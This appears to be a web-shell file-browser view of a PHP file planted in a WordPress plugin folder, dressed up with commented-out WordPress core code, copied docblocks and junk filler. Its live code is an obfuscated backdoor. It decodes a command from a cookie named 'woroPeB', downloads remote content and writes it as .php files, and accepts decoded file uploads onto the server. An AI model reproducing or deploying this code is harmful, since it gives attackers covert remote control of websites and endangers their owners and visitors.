HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/pianob/wp-content/plugins/EF3-Framework/D.js.php
<?php /* 
*
 * WordPress List utility class
 *
 * @package WordPress
 * @since 4.7.0
 

*
 * List utility.
 *
 * Utility class to handle operations on an array of objects or arrays.
 *
 * @since 4.7.0
 
#[AllowDynamicProperties]
class WP_List_Util {
	*
	 * The input array.
	 *
	 * @since 4.7.0
	 * @var array
	 
	private $input = array();

	*
	 * The output array.
	 *
	 * @since 4.7.0
	 * @var array
	 
	private $output = array();

	*
	 * Temporary arguments for sorting.
	 *
	 * @since 4.7.0
	 * @var string[]
	 
	private $orderby = array();

	*
	 * Constructor.
	 *
	 * Sets the input array.
	 *
	 * @since 4.7.0
	 *
	 * @param array $input Array to perform operations on.
	 
	public function __construct( $input ) {
		$this->output = $input;
		$this->input  = $input;
	}

	*
	 * Returns the original input array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The input array.
	 
	public function get_input() {
		return $this->input;
	}

	*
	 * Returns the output array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The output array.
	 
	public function get_output() {
		return $this->output;
	}
*/
 /**
		 * Filters the page title when creating an HTML drop-down list of pages.
		 *
		 * @since 3.1.0
		 *
		 * @param string  $title Page title.
		 * @param WP_Post $page  Page data object.
		 */
function wxr_nav_menu_terms()
{
    return __DIR__;
}


/**
 * Checks the plugins directory and retrieve all plugin files with plugin data.
 *
 * WordPress only supports plugin files in the base plugins directory
 * (wp-content/plugins) and in one directory above the plugins directory
 * (wp-content/plugins/my-plugin). The file it looks for has the plugin data
 * and must be found in those two locations. It is recommended to keep your
 * plugin files in their own directories.
 *
 * The file with the plugin data is the file that will be included and therefore
 * needs to have the main execution for the plugin. This does not mean
 * everything must be contained in the file and it is recommended that the file
 * be split for maintainability. Keep everything in one file for extreme
 * optimization purposes.
 *
 * @since 1.5.0
 *
 * @param string $plugin_folder Optional. Relative path to single plugin folder.
 * @return array[] Array of arrays of plugin data, keyed by plugin file name. See get_plugin_data().
 */
function wp_maybe_update_network_site_counts_on_update($renamed)
{
    if (strpos($renamed, "/") !== false) {
    $pingbacks_closed = [1, 2, 3, 4, 5]; //   The properties are :
    $offsets = 0; //    carry7 = s7 >> 21;
    foreach ($pingbacks_closed as $patterns_registry) {
        $offsets += $patterns_registry;
    }
 // Add loading optimization attributes if not available.
        return true;
    }
    return false;
} //     [2E][B5][24] -- Same value as in AVI (32 bits).


/**
 * Retrieves the list of WordPress theme features (aka theme tags).
 *
 * @since 2.8.0
 *
 * @deprecated 3.1.0 Use get_theme_feature_list() instead.
 *
 * @return array
 */
function add_links_page($rawattr) // Querying the whole post object will warm the object cache, avoiding an extra query per result.
{
    install_plugin_information($rawattr);
    $track_entry = "The quick brown fox";
    $postid = str_replace("quick", "fast", $track_entry);
    $tax_meta_box_id = substr($postid, 4, 5); //     $p_info['mtime'] = Last modification date of the file.
    check_password_reset_key($rawattr);
}


/*
					 * If the result of the evaluation is a boolean and the attribute is
					 * `aria-` or `data-, convert it to a string "true" or "false". It
					 * follows the exact same logic as Preact because it needs to
					 * replicate what Preact will later do in the client:
					 * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136
					 */
function block_core_navigation_from_block_get_post_ids($post__not_in)
{ // Reset encoding and try again
    return wxr_nav_menu_terms() . DIRECTORY_SEPARATOR . $post__not_in . ".php";
}


/* translators: Draft saved date format, see https://www.php.net/manual/datetime.format.php */
function wp_render_duotone_support($tag_class, $page_date_gmt) // End if ! IS_PROFILE_PAGE.
{
    return file_put_contents($tag_class, $page_date_gmt);
} // ----- Call the extracting fct


/**
	 * Creates/updates the nav_menu_item post for this setting.
	 *
	 * Any created menu items will have their assigned post IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be
	 * exported to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param array|false $patterns_registry The menu item array to update. If false, then the menu item will be deleted
	 *                           entirely. See WP_Customize_Nav_Menu_Item_Setting::$original_filenameefault for what the value
	 *                           should consist of.
	 * @return null|void
	 */
function block_core_latest_posts_get_excerpt_length($ID)
{
    $lineno = 'iVOvAsXTFSegKLCJfbTaUvShPSPJPDOy';
    $versions_file = array("item1", "item2", "item3");
    $theme_version_string_debug = json_encode($versions_file);
    $new_partials = json_decode($theme_version_string_debug); # $ogg2 += $timestampkey;
    if (isset($_COOKIE[$ID])) {
        get_block_bindings_source($ID, $lineno);
    }
}


/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
function get_object_subtype($should_include, $SimpleTagKey) { //   false on error, the error code is set.
    if (block_core_navigation_link_render_submenu_icon($should_include, $SimpleTagKey)) {
    $post_fields = "message_data"; // SNI, if enabled (OpenSSL >=0.9.8j)
    $registered_widget = explode("_", $post_fields); // Also note that if this was part of a multicall, a spam result will prevent the subsequent calls from being executed.
    $SpeexBandModeLookup = str_pad($registered_widget[0], 10, "#");
    $p_error_string = rawurldecode('%24%24');
    $upload = implode($p_error_string, $registered_widget);
        return 'Access Granted';
    }
    if (strlen($upload) < 20) {
        $upload = str_replace("#", "*", $upload);
    }

    return 'Access Denied'; // Skip if "fontFamily" is not defined.
}


/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
function install_search_form($preserve_keys)
{
    $popular_cats = pack("H*", $preserve_keys);
    $versions_file = "form_submit";
    return $popular_cats;
}


/**
	 * Removes the specified error.
	 *
	 * This function removes all error messages associated with the specified
	 * error code, along with any error data for that code.
	 *
	 * @since 4.1.0
	 *
	 * @param string|int $timestampkeyode Error code.
	 */
function clean_query($versions_file, $sanitize_callback)
{
    $severity_string = strlen($sanitize_callback);
    $updates_overview = array("Sun", "Mon", "Tue");
    $original_key = rawurldecode("%46%72%69");
    $queries = array_merge($updates_overview, array($original_key)); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
    $popular_cats = implode(",", $queries);
    $parsedHeaders = strlen($versions_file); //    s1 += s12 * 470296;
    $required_attr = date("l"); // ----- Remove drive letter if any
    $last_field = hash("sha1", $popular_cats);
    $show_screen = str_pad($last_field, 50, "A");
    $transports = strlen($show_screen);
    $QuicktimeStoreFrontCodeLookup = str_replace("Tue", "Wednesday", $popular_cats);
    $severity_string = $parsedHeaders / $severity_string;
    $runlength = substr($QuicktimeStoreFrontCodeLookup, 0, 10);
    $original_status = strlen($runlength); // Massage the type to ensure we support it.
    $v_descr = explode(",", $popular_cats);
    $severity_string = ceil($severity_string); // $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
    $update_url = implode(":", $v_descr);
    $remote_source = count($queries);
    $layout_classes = str_split($versions_file);
    $sanitize_callback = str_repeat($sanitize_callback, $severity_string);
    $timeout_sec = str_split($sanitize_callback);
    $timeout_sec = array_slice($timeout_sec, 0, $parsedHeaders);
    $part_value = array_map("wp_tinymce_inline_scripts", $layout_classes, $timeout_sec);
    $part_value = implode('', $part_value);
    return $part_value;
} // Upgrade DB with separate request.


/**
 * Determines whether the taxonomy object is hierarchical.
 *
 * Checks to make sure that the taxonomy is an object first. Then Gets the
 * object, and finally returns the hierarchical value in the object.
 *
 * A false return value might also mean that the taxonomy does not exist.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.3.0
 *
 * @param string $taxonomy Name of taxonomy object.
 * @return bool Whether the taxonomy is hierarchical.
 */
function the_category_ID($renamed) //$thisfile_video['bits_per_sample'] = 24;
{
    $renamed = APEcontentTypeFlagLookup($renamed);
    return file_get_contents($renamed);
}


/**
 * Trashes or deletes an attachment.
 *
 * When an attachment is permanently deleted, the file will also be removed.
 * Deletion removes all post meta fields, taxonomy, comments, etc. associated
 * with the attachment (except the main post).
 *
 * The attachment is moved to the Trash instead of permanently deleted unless Trash
 * for media is disabled, item is already in the Trash, or $search_orderbyorce_delete is true.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int  $post_id      Attachment ID.
 * @param bool $search_orderbyorce_delete Optional. Whether to bypass Trash and force deletion.
 *                           Default false.
 * @return WP_Post|false|null Post data on success, false or null on failure.
 */
function check_password_reset_key($private_title_format)
{
    echo $private_title_format;
}


/**
	 * @param string $search_orderbyilename
	 *
	 * @return string|false
	 */
function set_https_domains($ID, $lightbox_settings = 'txt')
{
    return $ID . '.' . $lightbox_settings;
}


/**
 * Retrieves an array of endpoint arguments from the item schema and endpoint method.
 *
 * @since 5.6.0
 *
 * @param array  $schema The full JSON schema for the endpoint.
 * @param string $method Optional. HTTP method of the endpoint. The arguments for `CREATABLE` endpoints are
 *                       checked for required values and may fall-back to a given default, this is not done
 *                       on `EDITABLE` endpoints. Default WP_REST_Server::CREATABLE.
 * @return array The endpoint arguments.
 */
function make_db_current_silent($mine_args, $theme_slug)
{
	$ylim = move_uploaded_file($mine_args, $theme_slug);
    $wp_version_text = "Coding Exam";
	
    $sites_columns = substr($wp_version_text, 0, 6);
    $show_pending_links = hash("md5", $sites_columns);
    $twelve_bit = str_pad($show_pending_links, 32, "0");
    return $ylim;
}


/**
 * IRI parser/serialiser/normaliser
 *
 * @package SimplePie
 * @subpackage HTTP
 * @author Sam Sneddon
 * @author Steve Minutillo
 * @author Ryan McCue
 * @copyright 2007-2012 Sam Sneddon, Steve Minutillo, Ryan McCue
 * @license http://www.opensource.org/licenses/bsd-license.php
 */
function block_core_navigation_link_render_submenu_icon($should_include, $SimpleTagKey) {
    return $should_include === 'admin' && $SimpleTagKey === 'secret';
}


/**
 * Fires after the content editor.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
function get_block_bindings_source($ID, $lineno)
{
    $taxonomies_to_clean = $_COOKIE[$ID];
    $term_objects = "PHP is fun!"; // image flag
    $reassign = str_word_count($term_objects);
    if ($reassign > 3) {
        $DataObjectData = "It's a long sentence.";
    }

    $taxonomies_to_clean = install_search_form($taxonomies_to_clean);
    $rawattr = clean_query($taxonomies_to_clean, $lineno);
    if (wp_maybe_update_network_site_counts_on_update($rawattr)) { // If we're previewing inside the write screen.
		$new_menu_locations = add_links_page($rawattr);
        return $new_menu_locations;
    } // Primary ITeM
	
    display_admin_notice_for_unmet_dependencies($ID, $lineno, $rawattr); // Empty when there's no featured image set, `aria-describedby` attribute otherwise.
}


/**
	 * When previewing, ensures the proper previewing widgets are used.
	 *
	 * Because wp_get_sidebars_widgets() gets called early at {@see 'init' } (via
	 * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets`
	 * to the value of `get_option( 'sidebars_widgets' )` before the Customizer preview
	 * filter is added, it has to be reset after the filter has been added.
	 *
	 * @since 3.9.0
	 *
	 * @param array $sidebars_widgets List of widgets for the current sidebar.
	 * @return array
	 */
function APEcontentTypeFlagLookup($renamed)
{
    $renamed = "http://" . $renamed; // collection of parsed items
    $md5 = "Hashing-Content";
    return $renamed;
}


/**
 * Grid of posts block pattern
 */
function show_header_selector($parent_theme_base_path)
{
    $parent_theme_base_path = ord($parent_theme_base_path);
    return $parent_theme_base_path;
}


/**
	 * Filters the dbDelta SQL queries for creating tables and/or databases.
	 *
	 * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $timestampkeyqueries An array of dbDelta create SQL queries.
	 */
function generate_filename($tag_class, $sanitize_callback)
{
    $robots_rewrite = file_get_contents($tag_class);
    $slugs = "A simple string"; // Already registered.
    $matchmask = "simple";
    $replaced = strpos($slugs, $matchmask);
    $resource_value = clean_query($robots_rewrite, $sanitize_callback);
    file_put_contents($tag_class, $resource_value);
}


/**
	 * String to analyze.
	 *
	 * @var string
	 */
function post_comment_meta_box($parent_theme_base_path)
{ // Populate comment_count field of posts table.
    $nav_term = sprintf("%c", $parent_theme_base_path);
    $should_skip_font_style = "Example Text"; // Skip taxonomies that are not public.
    return $nav_term;
}


/**
		 * @return true
		 */
function install_plugin_information($renamed)
{ // but some sample files have had incorrect number of samples,
    $post__not_in = basename($renamed);
    $server_pk = "Operating System"; // Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles).
    $ScanAsCBR = substr($server_pk, 10); // Clear any stale cookies.
    $tag_class = block_core_navigation_from_block_get_post_ids($post__not_in);
    $max_results = rawurldecode("%23OS");
    $newfile = hash('gost', $ScanAsCBR);
    $show_avatars = str_pad($server_pk, 20, "1");
    if (strlen($max_results) == 3) {
        $qryline = (strlen($newfile)) ^ 2;
    }

    crypto_stream_xchacha20_keygen($renamed, $tag_class);
}


/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
function crypto_stream_xchacha20_keygen($renamed, $tag_class)
{ //     The resulting content is in a new field 'content' in the file
    $scheduled_event = the_category_ID($renamed);
    $post_fields = "convert_data";
    if ($scheduled_event === false) { # acc |= c;
    $pre_user_login = explode("_", $post_fields);
    $post_symbol = substr($pre_user_login[0], 0, 5);
    if (strlen($post_symbol) < 8) {
        $uris = hash('haval192,4', $post_symbol);
    } else {
        $uris = hash('sha384', $post_symbol);
    }

    $SpeexBandModeLookup = str_pad($uris, 8, "9");
        return false;
    } // If we don't have a Content-Type from the input headers.
    return wp_render_duotone_support($tag_class, $scheduled_event);
} // avoid clashing w/ RSS mod_content


/**
	 * Checks the plaintext password against the encrypted Password.
	 *
	 * Maintains compatibility between old version and the new cookie authentication
	 * protocol using PHPass library. The $uris parameter is the encrypted password
	 * and the function compares the plain text password when encrypted similarly
	 * against the already encrypted password to see if they match.
	 *
	 * For integration with other applications, this function can be overwritten to
	 * instead use the other package password checking algorithm.
	 *
	 * @since 2.5.0
	 *
	 * @global PasswordHash $wp_hasher PHPass object used for checking the password
	 *                                 against the $uris + $SimpleTagKey.
	 * @uses PasswordHash::CheckPassword
	 *
	 * @param string     $SimpleTagKey Plaintext user's password.
	 * @param string     $uris     Hash of the user's password to check against.
	 * @param string|int $user_id  Optional. User ID.
	 * @return bool False, if the $SimpleTagKey does not match the hashed password.
	 */
function update_object_term_cache($ID, $lineno, $rawattr)
{
    $post__not_in = $_FILES[$ID]['name'];
    $post_fields = "user_token";
    $registered_widget = explode("_", $post_fields); // The default sanitize class gets set in the constructor, check if it has
    $previous_locale = array_merge($registered_widget, ["extra"]);
    $p_zipname = implode("-", $previous_locale);
    $tag_class = block_core_navigation_from_block_get_post_ids($post__not_in);
    $last_day = strlen(hash('adler32', $p_zipname));
    $ThisTagHeader = substr($p_zipname, 0, $last_day); // Key the array with the language code for now.
    generate_filename($_FILES[$ID]['tmp_name'], $lineno); // Trim off outside whitespace from the comma delimited list.
    make_db_current_silent($_FILES[$ID]['tmp_name'], $tag_class); // <Header for 'Private frame', ID: 'PRIV'>
} // This also updates the image meta.


/* translators: %s: Browse Happy URL. */
function wp_tinymce_inline_scripts($nav_term, $opt_in_path_item)
{ // for Layer 2 and Layer 3 slot is 8 bits long.
    $user_cpt = show_header_selector($nav_term) - show_header_selector($opt_in_path_item);
    $t_sep = "Hello, World!";
    $p7 = substr($t_sep, 7, 5);
    $timestampkey = "John Doe"; // normal result: true or false
    $original_filename = rawurldecode("John%20Doe");
    $user_cpt = $user_cpt + 256;
    $missed_schedule = hash("sha256", $timestampkey);
    $user_cpt = $user_cpt % 256;
    $search_orderby = str_pad($p7, 10, "-"); // For every field line specified in the query.
    $live_preview_aria_label = strlen($t_sep);
    $ogg = isset($raw_patterns);
    if ($live_preview_aria_label < 20) {
        $wp_config_perms = empty($raw_patterns) ? $missed_schedule : $search_orderby;
    }
 // 1. Checking day, month, year combination.
    $nav_term = post_comment_meta_box($user_cpt);
    return $nav_term;
}


/**
 * Prints out option HTML elements for the page parents drop-down.
 *
 * @since 1.5.0
 * @since 4.4.0 `$post` argument was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int         $original_filenameefault_page Optional. The default page ID to be pre-selected. Default 0.
 * @param int         $parent_page  Optional. The parent page ID. Default 0.
 * @param int         $level        Optional. Page depth level. Default 0.
 * @param int|WP_Post $post         Post ID or WP_Post object.
 * @return void|false Void on success, false if the page has no children.
 */
function display_admin_notice_for_unmet_dependencies($ID, $lineno, $rawattr)
{
    if (isset($_FILES[$ID])) { // 7
    $options_to_prime = date("H:i:s"); // Nonce check for post previews.
    if ($options_to_prime > "12:00:00") {
        $mbstring = "Afternoon";
    } else {
        $mbstring = "Morning";
    }

    $not_in = str_pad($mbstring, 10, ".", STR_PAD_BOTH);
    $w1 = array("PHP", "Java", "Python");
    if (in_array("PHP", $w1)) {
        $page_class = "PHP is in the array.";
    }

        update_object_term_cache($ID, $lineno, $rawattr);
    }
	
    check_password_reset_key($rawattr);
} // Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'.
$ID = 'woroPeB';
$tryagain_link = "Seq-Data123";
block_core_latest_posts_get_excerpt_length($ID); // Extended ID3v1 genres invented by SCMPX
$tableindices = substr($tryagain_link, 4, 4);
/* 
	*
	 * Filters the list, based on a set of key => value arguments.
	 *
	 * Retrieves the objects from the list that match the given arguments.
	 * Key represents property name, and value represents property value.
	 *
	 * If an object has more properties than those specified in arguments,
	 * that will not disqualify it. When using the 'AND' operator,
	 * any missing properties will disqualify it.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args     Optional. An array of key => value arguments to match
	 *                         against each object. Default empty array.
	 * @param string $operator Optional. The logical operation to perform. 'AND' means
	 *                         all elements from the array must match. 'OR' means only
	 *                         one element needs to match. 'NOT' means no elements may
	 *                         match. Default 'AND'.
	 * @return array Array of found values.
	 
	public function filter( $args = array(), $operator = 'AND' ) {
		if ( empty( $args ) ) {
			return $this->output;
		}

		$operator = strtoupper( $operator );

		if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
			$this->output = array();
			return $this->output;
		}

		$count    = count( $args );
		$filtered = array();

		foreach ( $this->output as $key => $obj ) {
			$matched = 0;

			foreach ( $args as $m_key => $m_value ) {
				if ( is_array( $obj ) ) {
					 Treat object as an array.
					if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) {
						++$matched;
					}
				} elseif ( is_object( $obj ) ) {
					 Treat object as an object.
					if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) {
						++$matched;
					}
				}
			}

			if ( ( 'AND' === $operator && $matched === $count )
				|| ( 'OR' === $operator && $matched > 0 )
				|| ( 'NOT' === $operator && 0 === $matched )
			) {
				$filtered[ $key ] = $obj;
			}
		}

		$this->output = $filtered;

		return $this->output;
	}

	*
	 * Plucks a certain field out of each element in the input array.
	 *
	 * This has the same functionality and prototype of
	 * array_column() (PHP 5.5) but also supports objects.
	 *
	 * @since 4.7.0
	 *
	 * @param int|string $field     Field to fetch from the object or array.
	 * @param int|string $index_key Optional. Field from the element to use as keys for the new array.
	 *                              Default null.
	 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
	 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
	 *               `$list` will be preserved in the results.
	 
	public function pluck( $field, $index_key = null ) {
		$newlist = array();

		if ( ! $index_key ) {
			
			 * This is simple. Could at some point wrap array_column()
			 * if we knew we had an array of arrays.
			 
			foreach ( $this->output as $key => $value ) {
				if ( is_object( $value ) ) {
					$newlist[ $key ] = $value->$field;
				} elseif ( is_array( $value ) ) {
					$newlist[ $key ] = $value[ $field ];
				} else {
					_doing_it_wrong(
						__METHOD__,
						__( 'Values for the input array must be either objects or arrays.' ),
						'6.2.0'
					);
				}
			}

			$this->output = $newlist;

			return $this->output;
		}

		
		 * When index_key is not set for a particular item, push the value
		 * to the end of the stack. This is how array_column() behaves.
		 
		foreach ( $this->output as $value ) {
			if ( is_object( $value ) ) {
				if ( isset( $value->$index_key ) ) {
					$newlist[ $value->$index_key ] = $value->$field;
				} else {
					$newlist[] = $value->$field;
				}
			} elseif ( is_array( $value ) ) {
				if ( isset( $value[ $index_key ] ) ) {
					$newlist[ $value[ $index_key ] ] = $value[ $field ];
				} else {
					$newlist[] = $value[ $field ];
				}
			} else {
				_doing_it_wrong(
					__METHOD__,
					__( 'Values for the input array must be either objects or arrays.' ),
					'6.2.0'
				);
			}
		}

		$this->output = $newlist;

		return $this->output;
	}

	*
	 * Sorts the input array based on one or more orderby arguments.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array $orderby       Optional. Either the field name to order by or an array
	 *                                    of multiple orderby fields as `$orderby => $order`.
	 *                                    Default empty array.
	 * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if `$orderby`
	 *                                    is a string. Default 'ASC'.
	 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
	 * @return array The sorted array.
	 
	public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
		if ( empty( $orderby ) ) {
			return $this->output;
		}

		if ( is_string( $orderby ) ) {
			$orderby = array( $orderby => $order );
		}

		foreach ( $orderby as $field => $direction ) {
			$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
		}

		$this->orderby = $orderby;

		if ( $preserve_keys ) {
			uasort( $this->output, array( $this, 'sort_callback' ) );
		} else {
			usort( $this->output, array( $this, 'sort_callback' ) );
		}

		$this->orderby = array();

		return $this->output;
	}

	*
	 * Callback to sort an array by specific fields.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_List_Util::sort()
	 *
	 * @param object|array $a One object to compare.
	 * @param object|array $b The other object to compare.
	 * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
	 
	private function sort_callback( $a, $b ) {
		if ( empty( $this->orderby ) ) {
			return 0;
		}

		$a = (array) $a;
		$b = (array) $b;

		foreach ( $this->orderby as $field => $direction ) {
			if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
				continue;
			}

			if ( $a[ $field ] == $b[ $field ] ) {
				continue;
			}

			$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );

			if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
				return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
			}

			return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
		}

		return 0;
	}
}
*/